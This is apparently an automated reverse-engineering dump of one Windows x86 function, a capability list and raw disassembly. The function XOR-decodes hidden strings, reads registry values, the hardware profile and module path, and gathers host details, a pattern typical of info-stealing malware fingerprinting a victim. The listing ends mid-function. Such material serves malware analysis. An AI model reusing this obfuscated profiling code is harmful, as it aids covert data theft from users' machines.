Function at 0x4e06d0
Capabilities:
Encode data using xor
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x55b61b
push eax
mov dword fs:[0], esp
mov eax, 0x32f8
push ebx
call fcn.00434720
push esi
push edi
mov dword [ebp - 0x150], 0
mov dword [ebp - 4], 3
lea edx, [ebx + 8]
mov dword [ebp - 0x18], 0xb9f58ac9
mov dword [ebp - 0x14], 0x982d88b4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], ecx
mov dword [ebp - 0x18], 0x13d4fb92
mov dword [ebp - 0x14], 0x60a032d0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x5b0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x5b0], xmm1
movaps xmm1, xmmword [ebp - 0x5a0]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x728]
xorps xmm1, xmmword [ebp - 0x60]
push eax
movaps xmmword [ebp - 0x5a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 4
mov dword [ebp - 0x18], 0xdf9b81e2
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x714], 0xf
movaps xmm1, xmmword [ebp - 0x4a0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x728]
cmova eax, dword [ebp - 0x728]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x4a0]
xorps xmm1, xmmword [ebp - 0x40]
push ecx
push eax
movaps xmmword [ebp - 0x4a0], xmm1
call fcn.00439820
mov edi, eax
add esp, 8
mov dword [ebp - 0xf4], edi
test edi, edi
je 0x4e4585
call fcn.004e71e0
mov ecx, eax
mov edx, 0x20019
test ecx, ecx
mov dword [ebp - 0xb4], ecx
mov eax, 0x20119
cmove eax, edx
cmp dword [0x5893f0], 0xf
mov dword [ebp - 0xc4], eax
mov edx, 0x5893dc
cmova edx, dword [0x5893dc]
mov dword [ebp - 0x18], 0xb3f296d7
mov dword [ebp - 0x14], 0xdc60c0bf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x18], 0x7db19f95
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4b0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4b0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x4b0], xmm1
call fcn.00403350
add esp, 0xc
mov edx, 0x589398
cmp dword [0x5893ac], 0xf
cmova edx, dword [0x589398]
mov dword [ebp - 0x18], 0xace986c3
mov dword [ebp - 0x14], 0xc32e95b2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x18], 0x70c8b7c6
mov dword [ebp - 0x14], 0x14d24bf4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4c0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4c0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x4c0], xmm1
call fcn.00403350
add esp, 0xc
push 0
call fcn.0044196b
add esp, 4
mov dword [ebp - 0x730], eax
lea eax, [ebp - 0x730]
mov dword [ebp - 0x72c], edx
push eax
call fcn.00441e53
mov dword [ebp - 0x18], 0xbaef82d1
add esp, 4
mov dword [ebp - 0x14], 0x8a65dae1
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4d0], ecx
mov dword [ebp - 0x4cc], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov ecx, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c8], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4d0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x4d0], xmm1
call fcn.00403350
mov dword [ebp - 0x18], 0xb1f08dc0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0xf92e8db4
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x230], xmm1
movups xmmword [ebp - 0x510], xmm0
mov dword [ebp - 0x500], 0
mov dword [ebp - 0x4fc], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0be0
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x510]
call fcn.00403040
mov byte [ebp - 4], 5
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x18], 0x8bddacc6
mov dword [ebp - 0x14], 0xbc12bb8c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x18], 0x1ed2dfba
mov dword [ebp - 0x14], 0x7bab298c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], ecx
mov dword [ebp - 0x18], 0x9a131dc1
mov dword [ebp - 0x14], 0xb4bfbf6b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x18], 0xcf0b2187
mov dword [ebp - 0x14], 0x89b8330c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x15c]
push eax
push dword [ebp - 0xc4]
mov dword [ebp - 0x5c], ecx
lea eax, [ebp - 0x5d0]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x5d0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x5d0], xmm1
movaps xmm1, xmmword [ebp - 0x5c0]
push 0
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push closesocket
movaps xmmword [ebp - 0x5c0], xmm1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e0e38
mov dword [ebp - 0x200], 0x20019
mov dword [ebp - 0x21c], 0x400
mov dword [ebp - 0x18], 0xb7f882d8
mov dword [ebp - 0x14], 0xbe2594b2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x18], 0x7ddffb93
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x1700]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push 0
lea eax, [ebp - 0x4e0]
movaps xmmword [ebp - 0x4e0], xmm1
push eax
push dword [ebp - 0x15c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e0e2c
lea ecx, [ebp - 0x1700]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0e10
sub ecx, edx
lea eax, [ebp - 0x1700]
push ecx
push eax
lea ecx, [ebp - 0x510]
call fcn.00416130
push dword [ebp - 0x15c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x4fc], 0xf
lea edx, [ebp - 0x510]
cmova edx, dword [ebp - 0x510]
mov dword [ebp - 0x18], 0xb7f882d8
mov dword [ebp - 0x14], 0xb02594b2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x18], 0x589ba8a2
mov dword [ebp - 0x14], 0x14d24b8d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2b0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.00403350
mov dword [ebp - 0x18], 0xb1f08dc0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0xf92e8db4
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x240], xmm1
movups xmmword [ebp - 0x4f8], xmm0
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0f90
sub ecx, edx
lea eax, [ebp - 0x240]
push ecx
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00403040
mov byte [ebp - 4], 6
lea eax, [ebp - 0xa68]
push 0x7c
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0xa68]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x4e0ffc
lea ecx, [ebp - 0xa64]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0fe0
sub ecx, edx
lea eax, [ebp - 0xa64]
push ecx
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00416130
cmp dword [ebp - 0x4e4], 0xf
lea edx, [ebp - 0x4f8]
cmova edx, dword [ebp - 0x4f8]
mov dword [ebp - 0x18], 0x9bd2b6d2
mov dword [ebp - 0x14], 0x8a65dae1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x18], 0x7dbb98eb
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2c0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x2c0], xmm1
call fcn.00403350
add esp, 0xc
lea ecx, [ebp - 0x8d8]
call fcn.004e57f0
mov edi, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x18], 0xdf9be3ca
mov dword [ebp - 0x14], 0xf940fadb
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3f0], ecx
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3f0]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x848]
mov dword [ebp - 0x38], eax
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x3f0], xmm1
call fcn.004e5d00
mov esi, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x18], 0xdf9be3ca
mov dword [ebp - 0x14], 0xf940fadb
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x2e0], ecx
mov dword [ebp - 0x2dc], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x510]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x2e0], xmm1
mov dword [ebp - 0x18], 0xdf9be3ca
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x860]
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x2d0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x4f8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x878]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x890]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x820]
push esi
push eax
push dword [ebp - 0x154]
call fcn.0041e710
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x150], 2
push eax
lea edx, [ebp - 0x820]
lea ecx, [ebp - 0x8a8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xd
mov edx, eax
push edi
lea ecx, [ebp - 0x788]
call fcn.0041ae20
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x8a8]
call fcn.00402df0
mov eax, 2
mov dword [ebp - 0x150], eax
and eax, 0xfffffffd
mov dword [ebp - 0x150], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x820]
call fcn.00402df0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x890]
call fcn.00402df0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x878]
call fcn.00402df0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x860]
call fcn.00402df0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x848]
call fcn.00402df0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x8d8]
call fcn.00402df0
xorps xmm0, xmm0
mov byte [ebp - 0x7a4], 0
lea ecx, [ebp - 0x9e8]
movups xmmword [ebp - 0x7c4], xmm0
movups xmmword [ebp - 0x7b4], xmm0
call fcn.004ef6d0
cmp dword [ebp - 0x774], 0xf
lea eax, [ebp - 0x788]
push dword [ebp - 0x778]
cmova eax, dword [ebp - 0x788]
push eax
call fcn.004ef600
push ecx
lea ecx, [ebp - 0x9e8]
call fcn.004ef4b0
cmp byte [ebp - 0x94c], 0
je 0x4e13fa
movups xmm0, xmmword [ebp - 0x93b]
mov al, byte [ebp - 0x91b]
mov byte [ebp - 0x7a4], al
movups xmmword [ebp - 0x7c4], xmm0
movups xmm0, xmmword [ebp - 0x92b]
movups xmmword [ebp - 0x7b4], xmm0
mov dword [ebp - 0x18], 0x9bd2b4dd
mov dword [ebp - 0x14], 0x8a65dae1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2f0], eax
mov edi, dword [ebp - 0xf4]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x18], 0x7dbb98eb
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x7c4]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x2f0]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x2f0], xmm1
call fcn.00403350
add esp, 0xc
lea eax, [ebp - 0xef0]
push 0x104
push 0
push eax
call fcn.004359b0
add esp, 0xc
mov dword [ebp - 0x164], 0
lea eax, [ebp - 0x164]
push eax
push 0x4e5fc0
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xef0]
push eax
push dword [ebp - 0x164]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x18], 0xbecbe998
mov dword [ebp - 0x14], 0xd97a92af
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x18], 0x77b6e1c3
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xef0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x300], xmm1
push eax
lea eax, [ebp - 0x300]
push eax
push edi
call fcn.00403350
add esp, 0xc
lea edx, [ebx + 8]
cmp dword [ebx + 0x1c], 0xf
cmova edx, dword [ebx + 8]
mov dword [ebp - 0x18], 0xb4e98cc2
mov dword [ebp - 0x14], 0x8b29befb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x18], 0xe9eb2dc
mov dword [ebp - 0x14], 0x1ed54cf3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0xae7946e8
